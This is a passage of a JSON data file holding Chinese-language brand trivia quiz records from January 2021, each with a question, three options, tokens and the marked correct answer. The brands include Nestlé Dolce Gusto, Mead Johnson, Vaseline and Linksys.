Free的母品牌是?","options":"[{\"optionId\":\"IsUSx0BRiDoBs620opcfq-f3KKIsm59Lqg\",\"optionDesc\":\"益节\\t\"},{\"optionId\":\"IsUSx0BRiDoBs620opcfqJ8tSFq_DMOvrQ\",\"optionDesc\":\"旭福\\t\"},{\"optionId\":\"IsUSx0BRiDoBs620opcfqiwp7baWUxYwBg\",\"optionDesc\":\"迈拓\"}]","questionToken":"IsUSx0BRiDoBs63jsd8E-r9VuVlLUeQtTp48F7KFC_jenI18QcfwD0drliMIUjepfbwQepPLqU9B67o3WNEsVoq4oflJIg","correct":"{\"optionId\":\"IsUSx0BRiDoBs620opcfqJ8tSFq_DMOvrQ\",\"optionDesc\":\"旭福\\t\"}","create_time":"27/1/2021 04:49:04","update_time":"27/1/2021 04:49:04","status":"1"},{"questionId":"9101427433","questionIndex":"3","questionStem":"Move Free的母品牌有超过几年的历史?","options":"[{\"optionId\":\"IsUSx0BRiDoBsq20opcfq30PDkRTnWEu3WH2\",\"optionDesc\":\"70年\"},{\"optionId\":\"IsUSx0BRiDoBsq20opcfqoqW_l73jrdgKCKy\",\"optionDesc\":\"90年\"},{\"optionId\":\"IsUSx0BRiDoBsq20opcfqFXW5SL1i28PsvEU\",\"optionDesc\":\"80年\\t\"}]","questionToken":"IsUSx0BRiDoBsq3ksd8E-g3MC22c3BbedumYYReAxKnCy2SovJS4pEPlq2Su9PE80a8HujKxNxj8Pnkq85Jc4zP9V8zhcQ","correct":"{\"optionId\":\"IsUSx0BRiDoBsq20opcfqFXW5SL1i28PsvEU\",\"optionDesc\":\"80年\\t\"}","create_time":"27/1/2021 04:39:56","update_time":"27/1/2021 04:39:56","status":"1"},{"questionId":"9101427434","questionIndex":"5","questionStem":"雀巢的总部位于哪个国家?","options":"[{\"optionId\":\"IsUSx0BRiDoBta20opcfqHMgIiTbPWMQYYc\",\"optionDesc\":\"瑞士\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoBta20opcfqhV5mTzZsSAB7WA\",\"optionDesc\":\"美国\"},{\"optionId\":\"IsUSx0BRiDoBta20opcfq7pOmQTEvGY8pXk\",\"optionDesc\":\"中国\"}]","questionToken":"IsUSx0BRiDoBta3isd8E-n9uFcnj4kKczzn0N_zy1r4iw80dOd2v5mAZxnVVqlb4IeQ-c5evvLPe0NN0H4FDlfEaAIPo1g","correct":"{\"optionId\":\"IsUSx0BRiDoBta20opcfqHMgIiTbPWMQYYc\",\"optionDesc\":\"瑞士\\t\\t\"}","create_time":"27/1/2021 04:50:03","update_time":"27/1/2021 04:50:03","status":"1"},{"questionId":"9101427435","questionIndex":"5","questionStem":"雀巢多趣酷思是专注于哪一种咖啡机的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoBtK20opcfq8M1to28WTYHf7kMGw\",\"optionDesc\":\"半自动咖啡机\"},{\"optionId\":\"IsUSx0BRiDoBtK20opcfqCuuIeaBY9OtEGI_yw\",\"optionDesc\":\"胶囊咖啡机\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoBtK20opcfqlDrBUXT5ErxLCMzEw\",\"optionDesc\":\"全自动咖啡机\"}]","questionToken":"IsUSx0BRiDoBtK3isd8E_YvxTRUmeBbIKEwpfUSFpfpaDqJ-ScZeeapOL6CZY65MZ43_0tFHv9BwZupVTnnnn9gzDwJHvg","correct":"{\"optionId\":\"IsUSx0BRiDoBtK20opcfqCuuIeaBY9OtEGI_yw\",\"optionDesc\":\"胶囊咖啡机\\t\\t\"}","create_time":"27/1/2021 04:36:42","update_time":"27/1/2021 04:36:42","status":"1"},{"questionId":"9101427436","questionIndex":"5","questionStem":"以下哪个型号不是雀巢多趣酷思的产品?","options":"[{\"optionId\":\"IsUSx0BRiDoBt620opcfqpBJx_TXMuekrA\",\"optionDesc\":\"Genio\"},{\"optionId\":\"IsUSx0BRiDoBt620opcfqwKMg61lgVT8ug\",\"optionDesc\":\"MiniMe\"},{\"optionId\":\"IsUSx0BRiDoBt620opcfqFvstxNDSBBmRw\",\"optionDesc\":\"Pixie\\t\\t\"}]","questionToken":"IsUSx0BRiDoBt63isd8E_cyEUB_iWdG41tBs5Lbv9Z8oXe81Wfi6hs-Rzs741QaZybSuNBow3JH_IqOPJjTTzBOFm5crrQ","correct":"{\"optionId\":\"IsUSx0BRiDoBt620opcfqFvstxNDSBBmRw\",\"optionDesc\":\"Pixie\\t\\t\"}","create_time":"27/1/2021 04:49:49","update_time":"27/1/2021 04:49:49","status":"1"},{"questionId":"9101427437","questionIndex":"3","questionStem":"雀巢多趣酷思店铺中,哪个系列的价格最高?","options":"[{\"optionId\":\"IsUSx0BRiDoBtq20opcfqBadKvoKQ4UkODhC\",\"optionDesc\":\"Majesto\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoBtq20opcfq4bhy6kpsMJmZvjd\",\"optionDesc\":\"Esperta\"},{\"optionId\":\"IsUSx0BRiDoBtq20opcfqrW_9l_c2SVK4_8N\",\"optionDesc\":\"Eclipse\"}]","questionToken":"IsUSx0BRiDoBtq3ksd8E_RRDjtxVe1sg97Pos5Jelz_EpJecezINaIV8rvYEm69mXV75iPf80VBoMfF9dSTG-EaFGzaFmg","correct":"{\"optionId\":\"IsUSx0BRiDoBtq20opcfqBadKvoKQ4UkODhC\",\"optionDesc\":\"Majesto\\t\\t\"}","create_time":"27/1/2021 04:47:32","update_time":"27/1/2021 04:47:32","status":"1"},{"questionId":"9101427438","questionIndex":"2","questionStem":"雀巢多趣酷思店铺中,哪个系列属于新品?","options":"[{\"optionId\":\"IsUSx0BRiDoBua20opcfqLfD730gKihARFx7\",\"optionDesc\":\"Genio S系列\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoBua20opcfq5MgY1vHqqQWock6\",\"optionDesc\":\"Piccolo系列\"},{\"optionId\":\"IsUSx0BRiDoBua20opcfqhElo_DWY9IMyN3q\",\"optionDesc\":\"Lumio系列\"}]","questionToken":"IsUSx0BRiDoBua3lsd8E_ZDTGMV7kQmCyTKrPhN386zM6orEG7W3KPG3ETeLDgNB6mlnCFaWSPX5Z1Bcd2NGkFYr_nGt6Q","correct":"{\"optionId\":\"IsUSx0BRiDoBua20opcfqLfD730gKihARFx7\",\"optionDesc\":\"Genio S系列\\t\\t\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"9101427440","questionIndex":"3","questionStem":"美赞臣核心成分HMO的功能是什么? ","options":"[{\"optionId\":\"IsUSx0BRiDoGsa20opcfqOkGgTWKW30i-pI3\",\"optionDesc\":\"激活肠道保护力\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoGsa20opcfqg1RhdeHeOHLK7Ag\",\"optionDesc\":\"补充多种营养\"},{\"optionId\":\"IsUSx0BRiDoGsa20opcfq26lPvRf8zSZtxwh\",\"optionDesc\":\"点亮非凡脑力\"}]","questionToken":"IsUSx0BRiDoGsa3ksd8E_VZQTniFTn94G_7xl3mGealKHKedsiq9BOp33GjYbjsnuKmQ_AGteXTyyZWXLBvTrEvk5fFzQw","correct":"{\"optionId\":\"IsUSx0BRiDoGsa20opcfqOkGgTWKW30i-pI3\",\"optionDesc\":\"激活肠道保护力\\t\\t\"}","create_time":"27/1/2021 04:42:52","update_time":"27/1/2021 04:42:52","status":"1"},{"questionId":"9101427441","questionIndex":"3","questionStem":"蓝臻海外版中20倍乳铁蛋白的功能是?","options":"[{\"optionId\":\"IsUSx0BRiDoGsK20opcfqpVA_sCkDzXKIUn_\",\"optionDesc\":\"滋养宝宝皮肤\"},{\"optionId\":\"IsUSx0BRiDoGsK20opcfq4InRPNQ42wVujUa\",\"optionDesc\":\"促进宝宝大脑发育\"},{\"optionId\":\"IsUSx0BRiDoGsK20opcfqHkSApb0slyOZ3Xz\",\"optionDesc\":\"激活宝宝天生抵御力\\t\"}]","questionToken":"IsUSx0BRiDoGsK3ksd8E-hElcdkGxVRjISmMENVcP-i9PVFo67StHaA4LZ6kfAj0-jLsfyaCQAadGoCcn6gaNSShVM9jxg","correct":"{\"optionId\":\"IsUSx0BRiDoGsK20opcfqHkSApb0slyOZ3Xz\",\"optionDesc\":\"激活宝宝天生抵御力\\t\"}","create_time":"27/1/2021 04:37:24","update_time":"27/1/2021 04:37:24","status":"1"},{"questionId":"9101427442","questionIndex":"2","questionStem":"美赞臣被喻为新一代“脑黄金”的成分是?","options":"[{\"optionId\":\"IsUSx0BRiDoGs620opcfqO3xaRJ4vucbQwdI\",\"optionDesc\":\"MFGM\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoGs620opcfqr9e4MhxSVZYmztF\",\"optionDesc\":\"A2蛋白\"},{\"optionId\":\"IsUSx0BRiDoGs620opcfq_NcSHYEpC8sQ4o4\",\"optionDesc\":\"HMO\"}]","questionToken":"IsUSx0BRiDoGs63lsd8E_R8C4UUSXunwngUlk812EZ772DbWGdL-QIor0FooBYcdG2G3mHoAeuvntGtHV34Lmp9UPA7J-Q","correct":"{\"optionId\":\"IsUSx0BRiDoGs620opcfqO3xaRJ4vucbQwdI\",\"optionDesc\":\"MFGM\\t\\t\"}","create_time":"27/1/2021 04:43:51","update_time":"27/1/2021 04:43:51","status":"1"},{"questionId":"9101427443","questionIndex":"2","questionStem":"美赞臣成分DHA的主要功能是什么?","options":"[{\"optionId\":\"IsUSx0BRiDoGsq20opcfq1IViY0MZ6711yg\",\"optionDesc\":\"助于骨骼发育\"},{\"optionId\":\"IsUSx0BRiDoGsq20opcfqKZgEd2KmjWrINU\",\"optionDesc\":\"助于智力和视力发育\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoGsq20opcfqiF21Z3yh_NnFXI\",\"optionDesc\":\"助于肠道消化\"}]","questionToken":"IsUSx0BRiDoGsq3lsd8E-j5bhARTiFWqwGTOdRQSXqIsOtGaMNT9K3OcdrDVMLOvfH7tOrQFgvZ_MHTe3zkGqgjng0Fomw","correct":"{\"optionId\":\"IsUSx0BRiDoGsq20opcfqKZgEd2KmjWrINU\",\"optionDesc\":\"助于智力和视力发育\\t\\t\"}","create_time":"27/1/2021 04:36:17","update_time":"27/1/2021 04:36:17","status":"1"},{"questionId":"9101427444","questionIndex":"4","questionStem":"美赞臣的品牌logo颜色是?","options":"[{\"optionId\":\"IsUSx0BRiDoGta20opcfqsyQJmf7s56ixF4\",\"optionDesc\":\"绿色\"},{\"optionId\":\"IsUSx0BRiDoGta20opcfq4dmOwoZ6kff9qY\",\"optionDesc\":\"黑色\"},{\"optionId\":\"IsUSx0BRiDoGta20opcfqLgSlPdXUeEPZgc\",\"optionDesc\":\"蓝色\\t\\t\"}]","questionToken":"IsUSx0BRiDoGta3jsd8E_SMGBUEiS7reH-urPnqYIdbkPDBEQIboZDIqzA2376CfwrKsS39SIvzhZIBTvRK3Pj3Ao_1WxA","correct":"{\"optionId\":\"IsUSx0BRiDoGta20opcfqLgSlPdXUeEPZgc\",\"optionDesc\":\"蓝色\\t\\t\"}","create_time":"27/1/2021 04:48:34","update_time":"27/1/2021 04:48:34","status":"1"},{"questionId":"9101427445","questionIndex":"5","questionStem":"美赞臣有5段奶粉吗?","options":"[{\"optionId\":\"IsUSx0BRiDoGtK20opcfqttSYwO9HPMbctU-\",\"optionDesc\":\"不知道\"},{\"optionId\":\"IsUSx0BRiDoGtK20opcfq0Wmzx4R5vM6Ldo7\",\"optionDesc\":\"没有\"},{\"optionId\":\"IsUSx0BRiDoGtK20opcfqPNGLft0dfFXs_w_\",\"optionDesc\":\" 有\\t\\t\"}]","questionToken":"IsUSx0BRiDoGtK3isd8E_atZ4YX0luBfHGB1IhYVcpmVAVu5R9OYj55pw8Td-ffd3fYQgp5J7W7jFg9hioGvhu3qMcIuAw","correct":"{\"optionId\":\"IsUSx0BRiDoGtK20opcfqPNGLft0dfFXs_w_\",\"optionDesc\":\" 有\\t\\t\"}","create_time":"27/1/2021 04:51:40","update_time":"27/1/2021 04:51:40","status":"1"},{"questionId":"9101427446","questionIndex":"4","questionStem":"以下哪个奶粉是美赞臣品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoGt620opcfqnjGEAAZKF_9VTI\",\"optionDesc\":\"小安素\"},{\"optionId\":\"IsUSx0BRiDoGt620opcfq5GA67jNOTxK89w\",\"optionDesc\":\"启赋\"},{\"optionId\":\"IsUSx0BRiDoGt620opcfqJhVMqDpUeanY6c\",\"optionDesc\":\"蓝臻\\t\\t\"}]","questionToken":"IsUSx0BRiDoGt63jsd8E-lO75bu0Mzc9OY0QrASiR63AX2ICzXSC2x_EYHaa_xGcsGhM7fGRZP9oNCktDZqe6LqPyf6YNg","correct":"{\"optionId\":\"IsUSx0BRiDoGt620opcfqJhVMqDpUeanY6c\",\"optionDesc\":\"蓝臻\\t\\t\"}","create_time":"27/1/2021 04:44:14","update_time":"27/1/2021 04:44:14","status":"1"},{"questionId":"9101427447","questionIndex":"5","questionStem":"美赞臣在中国的总部是在?","options":"[{\"optionId\":\"IsUSx0BRiDoGtq20opcfqGgTolC5AWpnhlIV\",\"optionDesc\":\"广州\\t\"},{\"optionId\":\"IsUSx0BRiDoGtq20opcfqwF3O633wydgUWpH\",\"optionDesc\":\"上海\\t\"},{\"optionId\":\"IsUSx0BRiDoGtq20opcfqj5VAAQ25yqK0-j8\",\"optionDesc\":\"北京\"}]","questionToken":"IsUSx0BRiDoGtq3isd8E_Tzf75jOxW71nmg8GTJPS6NiYoTWkk2MIhtRUSNbiYgLtiS3vTbIV-Kans5UOF6gLVCYXv7GjA","correct":"{\"optionId\":\"IsUSx0BRiDoGtq20opcfqGgTolC5AWpnhlIV\",\"optionDesc\":\"广州\\t\"}","create_time":"27/1/2021 04:45:21","update_time":"27/1/2021 04:45:21","status":"1"},{"questionId":"9101427448","questionIndex":"3","questionStem":"美赞臣铂睿是进口于?","options":"[{\"optionId\":\"IsUSx0BRiDoGua20opcfqHyjX88ja7pVF5w\",\"optionDesc\":\"荷兰\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoGua20opcfqvaZfnFbuD1fYnk\",\"optionDesc\":\"大不列颠\"},{\"optionId\":\"IsUSx0BRiDoGua20opcfqwhKZjpdsGW0BJY\",\"optionDesc\":\"加拿大\"}]","questionToken":"IsUSx0BRiDoGua3ksd8E_Vut7xWaO0LkskFmFVbCfgjnfhEzK499XeWE4Rfx4wCVtV-slh1Kvv77B2LaWUP9HBCIj0AjHg","correct":"{\"optionId\":\"IsUSx0BRiDoGua20opcfqHyjX88ja7pVF5w\",\"optionDesc\":\"荷兰\\t\\t\"}","create_time":"27/1/2021 04:51:22","update_time":"27/1/2021 04:51:22","status":"1"},{"questionId":"9101427449","questionIndex":"2","questionStem":"凡士林的品牌logo颜色是?","options":"[{\"optionId\":\"IsUSx0BRiDoGuK20opcfqyRFM3SNh8_8Bl6E_Q\",\"optionDesc\":\"粉白\\t\"},{\"optionId\":\"IsUSx0BRiDoGuK20opcfqKgjRBU-H2LMX0dUzw\",\"optionDesc\":\"蓝白\"},{\"optionId\":\"IsUSx0BRiDoGuK20opcfqu8RvT4Ke_8JjkIDcw\",\"optionDesc\":\"黄白\"}]","questionToken":"IsUSx0BRiDoGuK3lsd8E-gNGEbSCz4Y71dMHhow9dYzigq1KPVydYcVJt12zwSNBXsTIh9enjYi06CRsvzLAWhboLu-2wg","correct":"{\"optionId\":\"IsUSx0BRiDoGuK20opcfqKgjRBU-H2LMX0dUzw\",\"optionDesc\":\"蓝白\"}","create_time":"27/1/2021 04:51:30","update_time":"27/1/2021 04:51:30","status":"1"},{"questionId":"9101427450","questionIndex":"3","questionStem":"凡士林晶冻的主要功能是?","options":"[{\"optionId\":\"IsUSx0BRiDoHsa20opcfqu1ckAHQcPRgPFQ-jw\",\"optionDesc\":\"抗衰\"},{\"optionId\":\"IsUSx0BRiDoHsa20opcfq-LnMwB1EYVq_vuxLA\",\"optionDesc\":\"美白\\t\"},{\"optionId\":\"IsUSx0BRiDoHsa20opcfqFymco3nGE1DuCOPog\",\"optionDesc\":\"修护\\t\"}]","questionToken":"IsUSx0BRiDoHsa3ksd8E-tiIwA2pkZrE60pqoapLzD3pXJQmg8kUJzch_VziluGFXMCxxEgDjkDKyE8mQU8e-xau9bt91w","correct":"{\"optionId\":\"IsUSx0BRiDoHsa20opcfqFymco3nGE1DuCOPog\",\"optionDesc\":\"修护\\t\"}","create_time":"27/1/2021 04:43:49","update_time":"27/1/2021 04:43:49","status":"1"},{"questionId":"9101427451","questionIndex":"4","questionStem":"凡士林的哪个产品曾在战争时作为医疗用途?","options":"[{\"optionId\":\"IsUSx0BRiDoHsK20opcfq7YAGwPukqOBzdU\",\"optionDesc\":\"大粉瓶身体乳\"},{\"optionId\":\"IsUSx0BRiDoHsK20opcfqtcqmtmz4dRpImE\",\"optionDesc\":\"手膜\"},{\"optionId\":\"IsUSx0BRiDoHsK20opcfqHIK4LDwo701Vq8\",\"optionDesc\":\"晶冻\\t\\t\"}]","questionToken":"IsUSx0BRiDoHsK3jsd8E_XPKQYevAVzR1x1KcSENZW2aaGP_Wi2o2hQ8LANXmBwlrPDuaaX__2-tkJb0y-ojuowpmr1ItA","correct":"{\"optionId\":\"IsUSx0BRiDoHsK20opcfqHIK4LDwo701Vq8\",\"optionDesc\":\"晶冻\\t\\t\"}","create_time":"27/1/2021 04:40:35","update_time":"27/1/2021 04:40:35","status":"1"},{"questionId":"9101427452","questionIndex":"1","questionStem":"凡士林精华身体乳derma 5号主要功效是?","options":"[{\"optionId\":\"IsUSx0BRiDoHs620opcfqzO75GefqF4MhfIR1A\",\"optionDesc\":\"美白\\t\"},{\"optionId\":\"IsUSx0BRiDoHs620opcfqCHJfmv2qGyF0wbhpg\",\"optionDesc\":\"去鸡皮\\t\"},{\"optionId\":\"IsUSx0BRiDoHs620opcfqgYai3g-OCgNjFVm0w\",\"optionDesc\":\"除皱纹\"}]","questionToken":"IsUSx0BRiDoHs63msd8E-lExyDTCHxdN2QZ9iygjlB7e-ysK3Q_zgiW2FB6ZBw6B3FH-qjWT1lQeyNEaEeiptecy4ryW8A","correct":"{\"optionId\":\"IsUSx0BRiDoHs620opcfqCHJfmv2qGyF0wbhpg\",\"optionDesc\":\"去鸡皮\\t\"}","create_time":"27/1/2021 04:48:46","update_time":"27/1/2021 04:48:46","status":"1"},{"questionId":"9101427453","questionIndex":"3","questionStem":"凡士林为哪家公司旗下的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoHsq20opcfqzHgcsGmSFOd1hhG\",\"optionDesc\":\"宝洁\"},{\"optionId\":\"IsUSx0BRiDoHsq20opcfqAozSvS36TMGQZ6w\",\"optionDesc\":\"联合利华\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoHsq20opcfqi5WZd7SiTmPx1TC\",\"optionDesc\":\"欧莱雅\"}]","questionToken":"IsUSx0BRiDoHsq3ksd8E-gC-UxcDdeTdzAwAgu1n5a4-ZNy4QhWB9j-higFDpPo99aFmJ_cBEyHLFF_m71gySkYQ5QApdg","correct":"{\"optionId\":\"IsUSx0BRiDoHsq20opcfqAozSvS36TMGQZ6w\",\"optionDesc\":\"联合利华\\t\\t\"}","create_time":"27/1/2021 04:46:04","update_time":"27/1/2021 04:46:04","status":"1"},{"questionId":"9101427454","questionIndex":"2","questionStem":" 21金维他诞生于哪 一年?","options":"[{\"optionId\":\"IsUSx0BRiDoHta20opcfqHlEJ6cM1JlT_J0jnw\",\"optionDesc\":\"1985年\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoHta20opcfq1rIqypcmQ2TR48pRg\",\"optionDesc\":\"2000年\"},{\"optionId\":\"IsUSx0BRiDoHta20opcfqnnzfPRxaK-N3XjVoQ\",\"optionDesc\":\"1921年\"}]","questionToken":"IsUSx0BRiDoHta3lsd8E_buSLcSIJsUuqj1O-4IYfmA0i3igLsq1mHwJu042yt0qUxuD0J9Qu5HJTmvAqiUfJydl6-xvSQ","correct":"{\"optionId\":\"IsUSx0BRiDoHta20opcfqHlEJ6cM1JlT_J0jnw\",\"optionDesc\":\"1985年\\t\\t\"}","create_time":"27/1/2021 04:34:39","update_time":"27/1/2021 04:34:39","status":"1"},{"questionId":"9101427456","questionIndex":"5","questionStem":"21金维他的logo颜色是哪几种颜色?","options":"[{\"optionId\":\"IsUSx0BRiDoHt620opcfqM5AKjLq2-uNXtKX\",\"optionDesc\":\"红色+黑色\"},{\"optionId\":\"IsUSx0BRiDoHt620opcfq_rbXURjYRMX2GjI\",\"optionDesc\":\"红色+黑色+黄色\"},{\"optionId\":\"IsUSx0BRiDoHt620opcfqvyrCJaO0Dx9JtaS\",\"optionDesc\":\"红色+黄色+蓝色\"}]","questionToken":"IsUSx0BRiDoHt63isd8E_QY4gVyMTm09kZgUizD1hClIvsmnH1tm9Kh6-H42UVwNyPnOPzdie5Gac-ENBgbB5_i7ltexQA","correct":"{\"optionId\":\"IsUSx0BRiDoHt620opcfqM5AKjLq2-uNXtKX\",\"optionDesc\":\"红色+黑色\"}","create_time":"27/1/2021 04:31:39","update_time":"27/1/2021 04:31:39","status":"1"},{"questionId":"9101427457","questionIndex":"5","questionStem":"21金维他有几种营养素?","options":"[{\"optionId\":\"IsUSx0BRiDoHtq20opcfqPb7MoZ-9seUM0TbrQ\",\"optionDesc\":\"21种\\t\"},{\"optionId\":\"IsUSx0BRiDoHtq20opcfqgqdWOZqNlUyR1AzQw\",\"optionDesc\":\"8种\"},{\"optionId\":\"IsUSx0BRiDoHtq20opcfq6ZTloYwOZUh5CDmfw\",\"optionDesc\":\"12种\\t\"}]","questionToken":"IsUSx0BRiDoHtq3isd8E_VvcAL1_FkWrbEulRiJ8EosLIgYcuTUi3thcw-HvhwynfAJJUuFxh9OSlmr6EVO2Qamwzon1eQ","correct":"{\"optionId\":\"IsUSx0BRiDoHtq20opcfqPb7MoZ-9seUM0TbrQ\",\"optionDesc\":\"21种\\t\"}","create_time":"27/1/2021 04:44:59","update_time":"27/1/2021 04:44:59","status":"1"},{"questionId":"9101427458","questionIndex":"1","questionStem":"21金维他产品中赖氨酸的作用是什么?","options":"[{\"optionId\":\"IsUSx0BRiDoHua20opcfqMre6_xScIeaYC1jIw\",\"optionDesc\":\"促吸收\"},{\"optionId\":\"IsUSx0BRiDoHua20opcfqrR0Jjb-PxKxARw4CA\",\"optionDesc\":\"养颜\"},{\"optionId\":\"IsUSx0BRiDoHua20opcfq66XqC18_nTDu9l7tA\",\"optionDesc\":\"护眼\"}]","questionToken":"IsUSx0BRiDoHua3msd8E-lvnD7Xi2w1P0mgMfHZI1UfU3tMJTS5yUoJijLQ-BEd9uMdppAUNzUIYqfGO4KsG5u6FQXD55A","correct":"{\"optionId\":\"IsUSx0BRiDoHua20opcfqMre6_xScIeaYC1jIw\",\"optionDesc\":\"促吸收\"}","create_time":"27/1/2021 04:35:41","update_time":"27/1/2021 04:35:41","status":"1"},{"questionId":"9101427459","questionIndex":"2","questionStem":"21金维他适合哪类人补充?","options":"[{\"optionId\":\"IsUSx0BRiDoHuK20opcfqIStWAVWGEG-wCIx\",\"optionDesc\":\"亚洲人\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoHuK20opcfq3frAGjgS0zdRRKc\",\"optionDesc\":\"欧洲人\"},{\"optionId\":\"IsUSx0BRiDoHuK20opcfqmgurEBSPHUaH5Ph\",\"optionDesc\":\"澳洲人\"}]","questionToken":"IsUSx0BRiDoHuK3lsd8E_T1Eso5HPCD1LAt0o5qpFmrsBHp5tBIvodzLWPrEnRrKFA0NdCK9YMgYDwx-7YKSZb-u-j47AQ","correct":"{\"optionId\":\"IsUSx0BRiDoHuK20opcfqIStWAVWGEG-wCIx\",\"optionDesc\":\"亚洲人\\t\\t\"}","create_time":"27/1/2021 04:44:15","update_time":"27/1/2021 04:44:15","status":"1"},{"questionId":"9101427460","questionIndex":"4","questionStem":"童年时光DHA胶囊别称叫什么?","options":"[{\"optionId\":\"IsUSx0BRiDoEsa20opcfqsn-Jkz0LOmXdEWtUQ\",\"optionDesc\":\"金豆豆\"},{\"optionId\":\"IsUSx0BRiDoEsa20opcfqLCGRnxP20JzMxuXWw\",\"optionDesc\":\"小金豆\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEsa20opcfq7ceCnprNxVckGE5Bw\",\"optionDesc\":\"小豆豆\"}]","questionToken":"IsUSx0BRiDoEsa3jsd8E-hr6EW06KJ4lfP3NcnWBUfXGfI-HGFN1CmanzcluXFEHr-hxu5Mtp67tezeLNJzE5zBQDU5viw","correct":"{\"optionId\":\"IsUSx0BRiDoEsa20opcfqLCGRnxP20JzMxuXWw\",\"optionDesc\":\"小金豆\\t\\t\"}","create_time":"27/1/2021 04:35:42","update_time":"27/1/2021 04:35:42","status":"1"},{"questionId":"9101427461","questionIndex":"2","questionStem":"童年时光创始人是什么职业?","options":"[{\"optionId\":\"IsUSx0BRiDoEsK20opcfqopy4uBue8Ncu2Nn\",\"optionDesc\":\"营养师\"},{\"optionId\":\"IsUSx0BRiDoEsK20opcfqN8P3bGMOVR7Cf5r\",\"optionDesc\":\"医生\\t\"},{\"optionId\":\"IsUSx0BRiDoEsK20opcfq9ut0WCLNLdJqcGC\",\"optionDesc\":\"律师\\t\"}]","questionToken":"IsUSx0BRiDoEsK3lsd8E_UhjPFyE_3zTleRrBSgHUpCwZt_uuUtO4qiFRWPn_XrM4hkorCx2N7joKtIS-XMsE2w_dmF_wQ","correct":"{\"optionId\":\"IsUSx0BRiDoEsK20opcfqN8P3bGMOVR7Cf5r\",\"optionDesc\":\"医生\\t\"}","create_time":"27/1/2021 04:35:39","update_time":"27/1/2021 04:35:39","status":"1"},{"questionId":"9101427462","questionIndex":"3","questionStem":"童年时光适合什么年龄人群?","options":"[{\"optionId\":\"IsUSx0BRiDoEs620opcfq7YPvakkwG0LgIJe\",\"optionDesc\":\"青少年\"},{\"optionId\":\"IsUSx0BRiDoEs620opcfqv9sSSSLGNh2jYjl\",\"optionDesc\":\"中老年\"},{\"optionId\":\"IsUSx0BRiDoEs620opcfqGYFLHJ_VFEPGpfP\",\"optionDesc\":\"婴幼儿\\t\\t\"}]","questionToken":"IsUSx0BRiDoEs63ksd8E_bCk34m9z4vf9TZWXCY956Q73MYL19nO9-MGQ8KqFyj8WXMtxg5taJJn2DTTUUAwD8ca8kNnww","correct":"{\"optionId\":\"IsUSx0BRiDoEs620opcfqGYFLHJ_VFEPGpfP\",\"optionDesc\":\"婴幼儿\\t\\t\"}","create_time":"27/1/2021 04:44:17","update_time":"27/1/2021 04:44:17","status":"1"},{"questionId":"9101427463","questionIndex":"3","questionStem":"童年时光原产地是哪个国家?","options":"[{\"optionId\":\"IsUSx0BRiDoEsq20opcfqsXbliFSai1LmB4\",\"optionDesc\":\"意大利\"},{\"optionId\":\"IsUSx0BRiDoEsq20opcfqM-by9tphyxC1tc\",\"optionDesc\":\"美国\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEsq20opcfq9N_ts7Ig9MhijA\",\"optionDesc\":\"英国\"}]","questionToken":"IsUSx0BRiDoEsq3ksd8E_SdtR8dMLN3R96boHmQn_lHhix80mVJoxDhCMdSAu0wQ_9j8loExHmCtisztSonQ7hLWf27RCg","correct":"{\"optionId\":\"IsUSx0BRiDoEsq20opcfqM-by9tphyxC1tc\",\"optionDesc\":\"美国\\t\\t\"}","create_time":"27/1/2021 04:36:59","update_time":"27/1/2021 04:36:59","status":"1"},{"questionId":"9101427464","questionIndex":"5","questionStem":"领势品牌主要销售什么产品?","options":"[{\"optionId\":\"IsUSx0BRiDoEta20opcfq7SjmJiPuEKBMBGD\",\"optionDesc\":\"电脑\"},{\"optionId\":\"IsUSx0BRiDoEta20opcfqG0xDq5J5sFD5U3v\",\"optionDesc\":\"路由器\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEta20opcfqkfbNbm3AFOTjIYs\",\"optionDesc\":\"电视\"}]","questionToken":"IsUSx0BRiDoEta3isd8E_aUeWc-7ZGUK7mQekHB5FH1m75e7mH9Jj2HoI70LEtyTP1l814j1xpOWgEELK0cUH3ALyIF07A","correct":"{\"optionId\":\"IsUSx0BRiDoEta20opcfqG0xDq5J5sFD5U3v\",\"optionDesc\":\"路由器\\t\\t\"}","create_time":"27/1/2021 04:42:50","update_time":"27/1/2021 04:42:50","status":"1"},{"questionId":"9101427465","questionIndex":"2","questionStem":"领势路由器哪个功能最强?","options":"[{\"optionId\":\"IsUSx0BRiDoEtK20opcfqqDrXizh48esopnT\",\"optionDesc\":\"WIFI6\"},{\"optionId\":\"IsUSx0BRiDoEtK20opcfqCbrYoiFk8E0MHK1\",\"optionDesc\":\"Mesh组网(无缝连接)\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEtK20opcfq1VhjGlU5y0baGOv\",\"optionDesc\":\"内置天线\"}]","questionToken":"IsUSx0BRiDoEtK3lsd8E-k_doEiuq0cQDKYbs2rrJO5JQLnM4gv1gpWDLs48OmQjg4-XvoGn5A0bA-dJ2YphIKHnfCW4XQ","correct":"{\"optionId\":\"IsUSx0BRiDoEtK20opcfqCbrYoiFk8E0MHK1\",\"optionDesc\":\"Mesh组网(无缝连接)\\t\\t\"}","create_time":"27/1/2021 04:51:03","update_time":"27/1/2021 04:51:03","status":"1"},{"questionId":"9101427466","questionIndex":"4","questionStem":"领势WIFI6 